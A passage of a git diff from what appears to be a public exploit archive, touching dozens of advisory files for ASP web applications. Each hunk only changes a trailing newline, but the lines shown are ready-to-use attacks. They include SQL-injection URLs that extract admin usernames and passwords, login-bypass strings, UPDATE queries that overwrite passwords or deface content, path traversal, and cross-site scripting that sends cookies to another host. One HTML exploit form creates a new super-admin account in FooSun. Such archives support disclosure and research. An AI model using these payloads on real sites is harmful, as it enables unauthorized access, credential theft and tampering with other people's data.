vulnerabilities in the underlying database. -http://www.example.com/default.asp?iCity=[SQL Injection] \ No newline at end of file +http://www.example.com/default.asp?iCity=[SQL Injection] \ No newline at end of file diff --git a/platforms/asp/webapps/30282.txt b/platforms/asp/webapps/30282.txt index 4d910bf9c..9f6558ec8 100755 --- a/platforms/asp/webapps/30282.txt +++ b/platforms/asp/webapps/30282.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue by manipulating the SQL query logic to carry This issue affects Levent Veysi Portal 1.0; other versions may also be affected. -http://www.example.com/script_path/oku.asp?id=-1+union+select+0,1,kullaniciadi,sifre+from+admin \ No newline at end of file +http://www.example.com/script_path/oku.asp?id=-1+union+select+0,1,kullaniciadi,sifre+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/30289.txt b/platforms/asp/webapps/30289.txt index c525e4796..a2b28718e 100755 --- a/platforms/asp/webapps/30289.txt +++ b/platforms/asp/webapps/30289.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce All versions are considered vulnerable to this issue. -http://www.example.com/default.asp?action=article&ID=-1+or+1=(SELECT+TOP+1+username+from+users)-- \ No newline at end of file +http://www.example.com/default.asp?action=article&ID=-1+or+1=(SELECT+TOP+1+username+from+users)-- \ No newline at end of file diff --git a/platforms/asp/webapps/30296.txt b/platforms/asp/webapps/30296.txt index 8596e1a6a..320b4cb05 100755 --- a/platforms/asp/webapps/30296.txt +++ b/platforms/asp/webapps/30296.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Reports indicate that contentserver versions prior to 5.6.2964 are vulnerable to this issue. -https://www.example.com/admin/picture/picture_real_edit.asp?id='%20union%20select%20@@version%20,@@microsoftversion,@@version-- \ No newline at end of file +https://www.example.com/admin/picture/picture_real_edit.asp?id='%20union%20select%20@@version%20,@@microsoftversion,@@version-- \ No newline at end of file diff --git a/platforms/asp/webapps/30300.txt b/platforms/asp/webapps/30300.txt index 3281c2aed..05fce228f 100755 --- a/platforms/asp/webapps/30300.txt +++ b/platforms/asp/webapps/30300.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin -http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin \ No newline at end of file +http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/30328.txt b/platforms/asp/webapps/30328.txt index 0c82704a8..490547d9f 100755 --- a/platforms/asp/webapps/30328.txt +++ b/platforms/asp/webapps/30328.txt @@ -5,4 +5,4 @@ Alisveris Sitesi Scripti is prone to multiple SQL-injection vulnerabilities beca Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/?menukat=2%20&mod=product&cat_id=7&product_id=[SQL] -http://www.example.com/?menukat=2%20&mod=product&cat_id=[SQL] \ No newline at end of file +http://www.example.com/?menukat=2%20&mod=product&cat_id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/30330.txt b/platforms/asp/webapps/30330.txt index 22ac6b97a..4aad9bfa4 100755 --- a/platforms/asp/webapps/30330.txt +++ b/platforms/asp/webapps/30330.txt @@ -4,4 +4,4 @@ Alisveris Sitesi Scripti is prone to a cross-site scripting vulnerability becaus An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/?mod=search&type=simple&q=[XSS] \ No newline at end of file +http://www.example.com/path/?mod=search&type=simple&q=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/30402.txt b/platforms/asp/webapps/30402.txt index a050ad484..2a153a8be 100755 --- a/platforms/asp/webapps/30402.txt +++ b/platforms/asp/webapps/30402.txt @@ -4,4 +4,4 @@ Nukedit is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/utilities/login.asp?email=%22%3C/textarea%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E \ No newline at end of file +http://www.example.com/utilities/login.asp?email=%22%3C/textarea%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/30423.txt b/platforms/asp/webapps/30423.txt index 1bc6f12ff..c0934b13f 100755 --- a/platforms/asp/webapps/30423.txt +++ b/platforms/asp/webapps/30423.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Metyus Forum Portal 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/philboard_forum.asp?forumid=-99+union+all+select+0,1,2%20,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+%20from+users \ No newline at end of file +http://www.example.com/philboard_forum.asp?forumid=-99+union+all+select+0,1,2%20,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+%20from+users \ No newline at end of file diff --git a/platforms/asp/webapps/30424.txt b/platforms/asp/webapps/30424.txt index f3ab071f9..49f7a2ccc 100755 --- a/platforms/asp/webapps/30424.txt +++ b/platforms/asp/webapps/30424.txt @@ -8,4 +8,4 @@ Berthanas Ziyaretci Defteri 2.0 is affected; other versions may also be vulnerab To demonstrate this issue, use the following string for both the username and password of the vulnerable script: -' OR '1'='1 \ No newline at end of file +' OR '1'='1 \ No newline at end of file diff --git a/platforms/asp/webapps/30425.txt b/platforms/asp/webapps/30425.txt index 9dfa86378..5dec27cb3 100755 --- a/platforms/asp/webapps/30425.txt +++ b/platforms/asp/webapps/30425.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script: -anything' OR 'x'='x \ No newline at end of file +anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30426.txt b/platforms/asp/webapps/30426.txt index a739797f2..fb8b3d0d8 100755 --- a/platforms/asp/webapps/30426.txt +++ b/platforms/asp/webapps/30426.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script: -anything' OR 'x'='x \ No newline at end of file +anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30427.txt b/platforms/asp/webapps/30427.txt index ff1033475..893f9afa3 100755 --- a/platforms/asp/webapps/30427.txt +++ b/platforms/asp/webapps/30427.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script: -anything' OR 'x'='x \ No newline at end of file +anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30428.txt b/platforms/asp/webapps/30428.txt index e8c9f1fd0..fdeeaadf9 100755 --- a/platforms/asp/webapps/30428.txt +++ b/platforms/asp/webapps/30428.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script: -anything' OR 'x'='x \ No newline at end of file +anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30446.txt b/platforms/asp/webapps/30446.txt index 9b5cf4186..8399ed56a 100755 --- a/platforms/asp/webapps/30446.txt +++ b/platforms/asp/webapps/30446.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Hunkaray Okul Portali 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/script_path/duyuruoku.asp?id=1+union+select+0,1,sifre,3+from+admin \ No newline at end of file +http://www.example.com/script_path/duyuruoku.asp?id=1+union+select+0,1,sifre,3+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/30451.txt b/platforms/asp/webapps/30451.txt index bb7d14b92..ef790a1cd 100755 --- a/platforms/asp/webapps/30451.txt +++ b/platforms/asp/webapps/30451.txt @@ -4,4 +4,4 @@ Next Gen Portfolio Manager is prone to multiple SQL-injection vulnerabilities be Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/default.asp?ExecuteTheLogin=1&Users_Email=anything%27+OR+%27x%27%3D%27x&Users_Password=anything%27+OR+%27x%27%3D%27x \ No newline at end of file +http://www.example.com/default.asp?ExecuteTheLogin=1&Users_Email=anything%27+OR+%27x%27%3D%27x&Users_Password=anything%27+OR+%27x%27%3D%27x \ No newline at end of file diff --git a/platforms/asp/webapps/30505.txt b/platforms/asp/webapps/30505.txt index 6f205a8e5..fa396051f 100755 --- a/platforms/asp/webapps/30505.txt +++ b/platforms/asp/webapps/30505.txt @@ -4,4 +4,4 @@ Text File Search Classic is prone to a cross-site scripting vulnerability becaus An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/samples/textfilesearch.asp?query=[xss] \ No newline at end of file +http://www.example.com/samples/textfilesearch.asp?query=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/30541.txt b/platforms/asp/webapps/30541.txt index 2e0fc136e..30cccbbd4 100755 --- a/platforms/asp/webapps/30541.txt +++ b/platforms/asp/webapps/30541.txt @@ -20,4 +20,4 @@ https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+convert(ch To display the destination number for that call. Replace "1174900000" with the value from the previous query: -https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=1174900000;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''=' \ No newline at end of file +https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=1174900000;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''=' \ No newline at end of file diff --git a/platforms/asp/webapps/30545.txt b/platforms/asp/webapps/30545.txt index 41af2b604..20a995cf5 100755 --- a/platforms/asp/webapps/30545.txt +++ b/platforms/asp/webapps/30545.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script This issue affects Absolute Poll Manager XE 4.1; other versions may also be vulnerable. -http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://www.example2.com/?"%2bdocument.cookie</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//www.%65xample%2ecom/?%22%2bdocument.cookie%3c/script%3e& \ No newline at end of file +http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://www.example2.com/?"%2bdocument.cookie</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//www.%65xample%2ecom/?%22%2bdocument.cookie%3c/script%3e& \ No newline at end of file diff --git a/platforms/asp/webapps/30571.txt b/platforms/asp/webapps/30571.txt index 7f4899e7e..de48cf94b 100755 --- a/platforms/asp/webapps/30571.txt +++ b/platforms/asp/webapps/30571.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Proxy Anket 3.0.1; other versions may also be vulnerable. http://www.example.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,username,3+from+admin -http://www.example.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,password,3+from+admin \ No newline at end of file +http://www.example.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,password,3+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/30621.txt b/platforms/asp/webapps/30621.txt index 6f7b71340..cbfae366d 100755 --- a/platforms/asp/webapps/30621.txt +++ b/platforms/asp/webapps/30621.txt @@ -4,4 +4,4 @@ Novus is prone to a cross-site scripting vulnerability because the application f An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/buscar.asp?p=[XSS] \ No newline at end of file +http://www.example.com/buscar.asp?p=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/30624.txt b/platforms/asp/webapps/30624.txt index 498e0f490..c7f6b30bb 100755 --- a/platforms/asp/webapps/30624.txt +++ b/platforms/asp/webapps/30624.txt @@ -4,4 +4,4 @@ Netkamp Emlak Scripti is prone to multiple input-validation vulnerabilities, inc A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com.com/script_path/detay.asp?ilan_id=[SQL] \ No newline at end of file +http://www.example.com.com/script_path/detay.asp?ilan_id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/30626.txt b/platforms/asp/webapps/30626.txt index 7084999ba..49355d35d 100755 --- a/platforms/asp/webapps/30626.txt +++ b/platforms/asp/webapps/30626.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Ohesa Emlak Portal 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/detay.asp?Emlak=[SQL] \ No newline at end of file +http://www.example.com/detay.asp?Emlak=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/30629.txt b/platforms/asp/webapps/30629.txt index 3beee561a..6fcd978a0 100755 --- a/platforms/asp/webapps/30629.txt +++ b/platforms/asp/webapps/30629.txt @@ -5,4 +5,4 @@ ASP Product Catalog is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/Catalog/default.asp?cid=8%20union%20all%20select%20Password,User_ID,Password,User_ID,Password,User_ID,Password%20from%20admin# -http://www.example.comdefault.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin \ No newline at end of file +http://www.example.comdefault.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin \ No newline at end of file diff --git a/platforms/asp/webapps/30696.txt b/platforms/asp/webapps/30696.txt index dd3a0b7f0..4dc48c2d7 100755 --- a/platforms/asp/webapps/30696.txt +++ b/platforms/asp/webapps/30696.txt @@ -4,4 +4,4 @@ SearchSimon Lite is prone to a cross-site scripting vulnerability because the ap An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example/filename.asp?QUERY=[XSS]&Submit=Search%21&ACTION=SEARCH \ No newline at end of file +http://www.example/filename.asp?QUERY=[XSS]&Submit=Search%21&ACTION=SEARCH \ No newline at end of file diff --git a/platforms/asp/webapps/30706.txt b/platforms/asp/webapps/30706.txt index 583a8973e..78fb3705e 100755 --- a/platforms/asp/webapps/30706.txt +++ b/platforms/asp/webapps/30706.txt @@ -4,4 +4,4 @@ CodeWidgets Web Based Alpha Tabbed Address Book is prone to an SQL-injection vul Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.asp?alpha=[SQL INJECTION] \ No newline at end of file +http://www.example.com/index.asp?alpha=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/asp/webapps/30708.txt b/platforms/asp/webapps/30708.txt index 056f9b32a..ebf602173 100755 --- a/platforms/asp/webapps/30708.txt +++ b/platforms/asp/webapps/30708.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Aleris Web Publishing Server 3.0 is vulnerable; other versions may also be affected. -www.example.com/calendar/page.asp?mode=1%20union%20all%20select%201,2,3,4,5,6%20FROM%20users-- \ No newline at end of file +www.example.com/calendar/page.asp?mode=1%20union%20all%20select%201,2,3,4,5,6%20FROM%20users-- \ No newline at end of file diff --git a/platforms/asp/webapps/30743.txt b/platforms/asp/webapps/30743.txt index 48d81ee62..00f81f51f 100755 --- a/platforms/asp/webapps/30743.txt +++ b/platforms/asp/webapps/30743.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized remote user to view arbitrary lo i-Gallery 3.4 is vulnerable to this issue; other versions may also be vulnerable. -http://www.example.com/gallery/igallery.asp?d=%5c../../%5c \ No newline at end of file +http://www.example.com/gallery/igallery.asp?d=%5c../../%5c \ No newline at end of file diff --git a/platforms/asp/webapps/30747.txt b/platforms/asp/webapps/30747.txt index f3eae9794..2dde3f163 100755 --- a/platforms/asp/webapps/30747.txt +++ b/platforms/asp/webapps/30747.txt @@ -4,4 +4,4 @@ Rapid Classified is prone to an SQL-injection vulnerability because the applicat A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/agencyCatResult.asp?cmbCat='%20UPDATE%20rftCategory%20set%20Category%20=%20'Aria-Security Team';-- \ No newline at end of file +http://www.example.com/agencyCatResult.asp?cmbCat='%20UPDATE%20rftCategory%20set%20Category%20=%20'Aria-Security Team';-- \ No newline at end of file diff --git a/platforms/asp/webapps/30775.txt b/platforms/asp/webapps/30775.txt index 893dca2ed..24c19b685 100755 --- a/platforms/asp/webapps/30775.txt +++ b/platforms/asp/webapps/30775.txt @@ -10,4 +10,4 @@ JiRo's Banner System 2.0 is vulnerable; other versions may also be affected. The following proof-of-concept login and password examples are available: Login: anything' OR 'x'='x -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30778.txt b/platforms/asp/webapps/30778.txt index cf3335097..538e84cda 100755 --- a/platforms/asp/webapps/30778.txt +++ b/platforms/asp/webapps/30778.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/index.html?ClickAndRank/details.asp Username: anything' OR 'x'='x -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30793.txt b/platforms/asp/webapps/30793.txt index a64736045..562f70012 100755 --- a/platforms/asp/webapps/30793.txt +++ b/platforms/asp/webapps/30793.txt @@ -8,4 +8,4 @@ The following proof-of-concept example is available: Login Page (Default.asp) -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30794.txt b/platforms/asp/webapps/30794.txt index 898eaa458..6317903aa 100755 --- a/platforms/asp/webapps/30794.txt +++ b/platforms/asp/webapps/30794.txt @@ -8,4 +8,4 @@ VUNET Case Manager 3.4 is vulnerable; other versions may also be affected. The following example password is available for the 'Login' page ('Default.asp'): -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30796.txt b/platforms/asp/webapps/30796.txt index fd48eae73..008d79f44 100755 --- a/platforms/asp/webapps/30796.txt +++ b/platforms/asp/webapps/30796.txt @@ -4,4 +4,4 @@ E-vanced Solutions E-vents is prone to multiple input-validation vulnerabilities Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/eventsignup.asp?ID=4197 UNION ALL SELECT username, etc FROM users-- \ No newline at end of file +http://www.example.com/eventsignup.asp?ID=4197 UNION ALL SELECT username, etc FROM users-- \ No newline at end of file diff --git a/platforms/asp/webapps/30798.txt b/platforms/asp/webapps/30798.txt index b71866ea7..6fd6c2507 100755 --- a/platforms/asp/webapps/30798.txt +++ b/platforms/asp/webapps/30798.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc NetAuctionHelp 4.1 is vulnerable; other versions may also be affected. -http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION] http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1-- http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)-- http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)-- http://www.example.com/itemdtl.asp?id=1-1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');-- \ No newline at end of file +http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION] http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1-- http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)-- http://www.example.com/search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)-- http://www.example.com/itemdtl.asp?id=1-1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');-- \ No newline at end of file diff --git a/platforms/asp/webapps/30800.html b/platforms/asp/webapps/30800.html index 321d29a12..84e85fd94 100755 --- a/platforms/asp/webapps/30800.html +++ b/platforms/asp/webapps/30800.html @@ -4,4 +4,4 @@ FooSun is prone to an SQL-injection vulnerability because it fails to sufficient Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>foosun create new admin exp Codz By flyh4t</TITLE> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <META content="MSHTML 6.00.2800.1479" name=GENERATOR></HEAD> <BODY style="FONT-SIZE: 9pt">------------------------ foosun create new admin exp Codz By flyh4t --------------------------- <FORM name=frm method=post target=_blank>foosun path: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=http://demo.foosun.net name=act><br> <INPUT type="hidden" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=/api/Api_response.asp?syskey=8076ac99d47feeb6&password=flyh4t&SaveCookie=1&UserName=flyh4t';insert%20into%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word,Admin_Is_Super)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400,1)-- name=sql><br> <INPUT onclick="Javascipt:frm.action=document.all.act.value+document.all.sql.value; frm. submit();" type=button value=". ." name=Send></FORM> Hey boy, fun the game... <br> It is just a exp for the bug of foosun...<br> can create a new admin oldjun/12345678...<br> </BODY> </HTML> \ No newline at end of file +!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>foosun create new admin exp Codz By flyh4t</TITLE> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <META content="MSHTML 6.00.2800.1479" name=GENERATOR></HEAD> <BODY style="FONT-SIZE: 9pt">------------------------ foosun create new admin exp Codz By flyh4t --------------------------- <FORM name=frm method=post target=_blank>foosun path: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=http://demo.foosun.net name=act><br> <INPUT type="hidden" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=/api/Api_response.asp?syskey=8076ac99d47feeb6&password=flyh4t&SaveCookie=1&UserName=flyh4t';insert%20into%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word,Admin_Is_Super)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400,1)-- name=sql><br> <INPUT onclick="Javascipt:frm.action=document.all.act.value+document.all.sql.value; frm. submit();" type=button value=". ." name=Send></FORM> Hey boy, fun the game... <br> It is just a exp for the bug of foosun...<br> can create a new admin oldjun/12345678...<br> </BODY> </HTML> \ No newline at end of file diff --git a/platforms/asp/webapps/30807.txt b/platforms/asp/webapps/30807.txt index 12faf5cd2..dbedf3d0a 100755 --- a/platforms/asp/webapps/30807.txt +++ b/platforms/asp/webapps/30807.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following proof of concept is available: Username: Admin -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30855.txt b/platforms/asp/webapps/30855.txt index bf82dadde..2c6cbf954 100755 --- a/platforms/asp/webapps/30855.txt +++ b/platforms/asp/webapps/30855.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a WebDoc 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/categories.asp?document_id=37&cat_id=convert(int,(select+@@version));-- \ No newline at end of file +http://www.example.com/categories.asp?document_id=37&cat_id=convert(int,(select+@@version));-- \ No newline at end of file diff --git a/platforms/asp/webapps/30860.txt b/platforms/asp/webapps/30860.txt index dba2c849b..8cee405ca 100755 --- a/platforms/asp/webapps/30860.txt +++ b/platforms/asp/webapps/30860.txt @@ -8,4 +8,4 @@ These issues affect bttlxe Forum 2.0; other versions may also be affected. http://www.example.com/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';-- http://www.example.com/myaccount/viewProfile.asp?member='update Members set Password='hacked';-- -http://www.example.com/myaccount/failure.asp?err_txt="><script>alert('Aria-Security.Net')</script> \ No newline at end of file +http://www.example.com/myaccount/failure.asp?err_txt="><script>alert('Aria-Security.Net')</script> \ No newline at end of file diff --git a/platforms/asp/webapps/30938.txt b/platforms/asp/webapps/30938.txt index 6ae5319aa..0f5abacba 100755 --- a/platforms/asp/webapps/30938.txt +++ b/platforms/asp/webapps/30938.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce These issues affect Web Sihirbazi 5.1.1; other versions may also be affected. -http://www.example.com/[script_path]/default.asp?page=news&id=-2+union+all+select+0,kullaniciadi,sifre,3+from+user http://www.example.com/[script_path]/default.asp?pageid=-7+union+all+select+0,1,2,kullaniciadi,sifre,5+from+user \ No newline at end of file +http://www.example.com/[script_path]/default.asp?page=news&id=-2+union+all+select+0,kullaniciadi,sifre,3+from+user http://www.example.com/[script_path]/default.asp?pageid=-7+union+all+select+0,1,2,kullaniciadi,sifre,5+from+user \ No newline at end of file diff --git a/platforms/asp/webapps/30940.txt b/platforms/asp/webapps/30940.txt index 295b27367..6d14e022d 100755 --- a/platforms/asp/webapps/30940.txt +++ b/platforms/asp/webapps/30940.txt @@ -8,4 +8,4 @@ All versions are considered vulnerable. http://www.example.com/forum/login_user.asp?Redirect=/forum/search.asp@KW=%22%3E%3 Cscript%3Ealert(document.cookie);%3C/script%3E -http://www.example.com/forum/login_user.asp?Redirect=/members.asp?SF=%22%3E%3Cscri pt%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/forum/login_user.asp?Redirect=/members.asp?SF=%22%3E%3Cscri pt%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/30941.txt b/platforms/asp/webapps/30941.txt index 7b31c9657..15db6ab80 100755 --- a/platforms/asp/webapps/30941.txt +++ b/platforms/asp/webapps/30941.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br All versions are considered vulnerable. -http://www.example.com/Path/blogs.asp?CID=0&AID=0&Date=%22%3E%3Cscript%3Ea lert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/Path/blogs.asp?CID=0&AID=0&Date=%22%3E%3Cscript%3Ea lert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/30963.txt b/platforms/asp/webapps/30963.txt index c2201db38..a54047458 100755 --- a/platforms/asp/webapps/30963.txt +++ b/platforms/asp/webapps/30963.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following proof of concept is available: Username: Admin -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/asp/webapps/30993.txt b/platforms/asp/webapps/30993.txt index f977632cf..dccfb3268 100755 --- a/platforms/asp/webapps/30993.txt +++ b/platforms/asp/webapps/30993.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Snitz Forums 2000 2.4.05 and 3.4.06 are vulnerable; other versions may also be affected. -http://www.example.com/Forums/setup.asp?RC=3&MAIL=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E http://www.example.com/login.asp?target=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/Forums/setup.asp?RC=3&MAIL=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E http://www.example.com/login.asp?target=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/31042.txt b/platforms/asp/webapps/31042.txt index 93718b39b..280f73787 100755 --- a/platforms/asp/webapps/31042.txt +++ b/platforms/asp/webapps/31042.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MegaBBS 1.5.14b is vulnerable; other versions may also be affected. -http://www.example.com/path/profile-upload/upload.asp?target=code \ No newline at end of file +http://www.example.com/path/profile-upload/upload.asp?target=code \ No newline at end of file diff --git a/platforms/asp/webapps/31055.txt b/platforms/asp/webapps/31055.txt index 6083993cd..96580c393 100755 --- 